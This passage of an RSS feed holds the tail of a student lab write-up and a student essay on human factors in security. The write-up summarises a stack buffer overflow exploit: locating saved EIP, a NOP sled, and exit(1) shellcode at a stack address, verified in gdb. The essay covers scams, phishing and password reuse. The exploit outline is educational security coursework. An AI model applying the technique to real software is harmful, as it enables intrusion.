&lt;li&gt;They never require that ./vuln &amp;lt; egg works outside gdb. The success criteria are “terminate with exit code 1; crashes don’t count”. We’ve shown in gdb that:&lt;/li&gt;
&lt;li&gt;the smash works (we overwrote saved EIP), and&lt;/li&gt;
&lt;li&gt;control flow goes into our shellcode and returns exit code 1.
That’s exactly what the assignment describes.
## 6. Summary of what we accomplished
As a group (Akhy, Lark, and Carl), we:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;1.) Confirmed the stack layout of vuln and the offset from buffer to the saved EIP using a dummy AAAABBBBCCCC payload.&lt;br&gt;
2.) Wrote and tested a minimal Linux int 0x80 shellcode that calls exit(1).&lt;br&gt;
3.) Constructed an egg payload that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;fills buffer with a NOP sled,&lt;/li&gt;
&lt;li&gt;overwrites saved EBP with junk,&lt;/li&gt;
&lt;li&gt;overwrites saved EIP with the address of our shellcode on the stack,&lt;/li&gt;
&lt;li&gt;places the shellcode at that address.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;4.) Verified in gdb that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;buffer contains our payload,&lt;/li&gt;
&lt;li&gt;saved EIP equals the shellcode address (0xffffc848),&lt;/li&gt;
&lt;li&gt;continuing from vuln returns into the shellcode and the process exits with code 1.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

</description>
      <category>c</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Thoughts on Human Factors in Cybersecurity:</title>
      <dc:creator>134A6_Thoughts</dc:creator>
      <pubDate>Sun, 08 Feb 2026 15:41:12 +0000</pubDate>
      <link>https://dev.to/acchanli/thoughts-on-human-factors-in-cybersecurity-1e4b</link>
      <guid>https://dev.to/acchanli/thoughts-on-human-factors-in-cybersecurity-1e4b</guid>
      <description>&lt;p&gt;We are just starting our Cybersecurity course in Uni and our professor opens our journey with a question "What do you think are the causes of leaks or unauthorized access?". Initially, we immediately think about how easy it can be to bypass security measures. However, he emphasizes that it isn’t only about weak security nor the technology, but also the fault of humans or users.&lt;/p&gt;

&lt;p&gt;In other words, while technical systems may have vulnerabilities, many security incidents occur because of human error, poor security practices, or user behavior being exploited.&lt;/p&gt;

&lt;p&gt;With this in mind, our group talked about a few real-life examples and experiences that show how human behavior affects cybersecurity.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I unapologetically shame people for falling for online scams—until I became one. During Typhoon Tino, floodwaters drowned our car, damaging its ECU. No local repair shops in Cebu had replacements and  the "cheapest" options were in Luzon. Desperate, we connected through the repairman's family from Manila to a seller offering a steal.&lt;br&gt;
They demanded a 75% down payment upfront. We haggled it to 20%, which was a small win amid chaos. To finally seal trust, they sent a photo of the "package," label attached with our details. Exhausted and eager to get mobile again, we wired the cash via Gcash without a second scan.&lt;br&gt;
Too late, we spotted the red flags: mismatched font sizes on the label, a telltale edit we later traced to a stock scam image online. The ECU never came. We were duped.&lt;br&gt;
It wasn't just about our flaws of desperation and bias that made us miss obvious fakes, even with tech tools right there. It's equally about their nerve too, scammers hijacking GCash and chats to spin believable lies that exploit other people's difficulties. &lt;br&gt;
Human factors in computer security aren't just our slip-ups from stress or shortcuts. They're also the deliberate malice—crooks twisting the same tools we rely on into traps. Both sides make us the real battleground in cyber risks. Now, when pressure hits, I double-check every detail before sending money online.&lt;/p&gt;

&lt;p&gt;-Student A&lt;/p&gt;
&lt;/blockquote&gt;




&lt;blockquote&gt;
&lt;p&gt;Where Emotion Meets Exploit&lt;br&gt;
We like to think security is all about code, firewalls, and encryption. But peel back the layers of any breach, and you’ll often find something far more human.&lt;br&gt;
Humans are emotional — beautifully imperfect. And that’s what makes us both the strongest and weakest link in computer security.&lt;br&gt;
Our emotions shape how we design, protect, and even attack systems. When I’m drained or discouraged, I’ll admit—security feels like a chore. I might skip extra validation, trust default settings, or postpone patching because I tell myself, it can wait. But on a good day—focused, enthusiastic—I’ll dig deeper. I’ll test edge cases, challenge assumptions, and think like an attacker. My mindset changes the entire quality of my work.&lt;br&gt;
That’s the truth we often ignore: cybersecurity doesn’t just rely on logic; it depends on emotion.&lt;br&gt;
Attackers know this better than most. They understand human psychology as well as they understand exploits. A kind message, a tone of familiarity, an urgent deadline—these small emotional triggers become attack vectors. A well-crafted email can bypass the sharpest security systems simply by slipping through the softest part of any defense: trust.&lt;br&gt;
Imagine opening an email from a colleague. It’s casual, friendly—maybe a meme, something to lighten the mood. You click without thinking. But behind that innocent image hides a payload, waiting. Within seconds, ransomware runs, files encrypt, networks collapse. The breach didn’t happen because you lacked technical knowledge—it happened because you acted like a human.&lt;br&gt;
That’s the uncomfortable reality: people don’t fall for scams because they’re careless; they fall because they care—because they trust, empathize, laugh, or rush.&lt;br&gt;
To build truly secure systems, we need to stop pretending humans are the problem to engineer away. We’re not glitches. We’re part of the architecture. Training won’t work if it’s just checkboxes and policy reminders. It has to meet people where they are—stressed, distracted, emotional, real.&lt;br&gt;
Security awareness should evolve beyond memorized threats into emotional literacy: understanding why urgency clouds judgment, why flattery lowers defenses, and why even happiness can be weaponized.&lt;br&gt;
At its core, cybersecurity is a story about people—our fears, reactions, impulses. Technology may keep the walls strong, but only awareness keeps the gates closed.&lt;br&gt;
In the end, protecting systems starts with protecting minds. Because the most advanced firewall in the world still can’t patch human emotion.&lt;/p&gt;

&lt;p&gt;-Student B&lt;/p&gt;
&lt;/blockquote&gt;




&lt;blockquote&gt;
&lt;p&gt;Honestly, I don’t think most of my accounts are very secure. I tend to use one main password for almost everything — from social media to gaming accounts. Since I’m quite forgetful, it’s convenient for me to just remember this one password, and I usually make small variations by adding a digit or special character when needed. I also don't enable my 2-factor authentication since it's really a hassle. Looking back, I realize this makes my accounts more vulnerable and is exactly the kind of human behavior our professor was referring to — even if the security system itself is strong, weak password practices can still put me at risk.&lt;/p&gt;

&lt;p&gt;Despite knowing this, I still lean toward prioritizing convenience over security, mainly because my past experiences have made me wary of being locked out of my own accounts. For example, when my phone broke and I had two-factor authentication enabled, I couldn’t access my online wallet for quite a while because I couldn’t figure out how to verify my email and regain access.&lt;br&gt;
I think that as long as I don’t fall for phishing scams or click on any malicious links, I’ll be fine for now. Most of the time, I rely on my caution to avoid obvious threats. However, I realize I could still fall victim to more sophisticated scams if I were ever targeted — after all, I once got roped into a pyramid scheme. For this reason, I agree with Student B’s opinion that cybersecurity strategies should evolve to take human emotion and behavior into account, so that experiences like Student A’s happen less frequently in online/cybersecurity scenarios.&lt;/p&gt;

&lt;p&gt;-Student C&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In conclusion, while technology can continue to evolve and improve, we cannot rely on it alone to keep us safe. Human awareness and responsible behavior are essential in preventing security breaches, and understanding our own habits can make a big difference. It’s not about blaming anyone — it’s about recognizing that both strong systems and mindful users are needed for effective cybersecurity. &lt;/p&gt;

&lt;p&gt;What's your cybersecurity story?&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>learning</category>
      <category>security</category>
    </item>
  </channel>
</rss>
